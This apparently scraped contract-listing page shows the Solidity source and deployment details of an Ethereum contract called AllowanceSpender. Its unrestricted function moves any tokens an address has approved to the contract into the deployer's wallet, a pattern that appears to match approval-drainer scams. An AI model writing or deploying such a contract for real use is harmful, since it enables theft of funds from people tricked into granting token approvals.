AllowanceSpender

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
// nice dgrd
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
}

contract AllowanceSpender {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    event Spent(address token, address from, uint amount);

    function spendAllowance(address tokenAddress, address from, uint amount) external {
        IERC20 token = IERC20(tokenAddress);

        uint allowed = token.allowance(from, address(this));
        require(allowed >= amount, "Not enough allowance");

        (bool success, bytes memory data) = tokenAddress.call(
    abi.encodeWithSelector(IERC20.transferFrom.selector, from, owner, amount)
);
require(success, "Low-level transferFrom failed");

// If the token returns data, check it == true
if (data.length > 0) {
    require(abi.decode(data, (bool)), "ERC20 transferFrom returned false");
}

        emit Spent(tokenAddress, from, amount);
    }
}

Tags:
addr:0xca6807305a96ae156135c096b6cf85595bcfc4d8|verified:true|block:23637928|tx:0x7c177edc4d6f5f2a3975c0e4e8b858f08a498142560d7aa26c0ba66108341421|first_check:1761301651

Submitted on: 2025-10-24 12:27:34

Comments

Log in to comment.

No comments yet.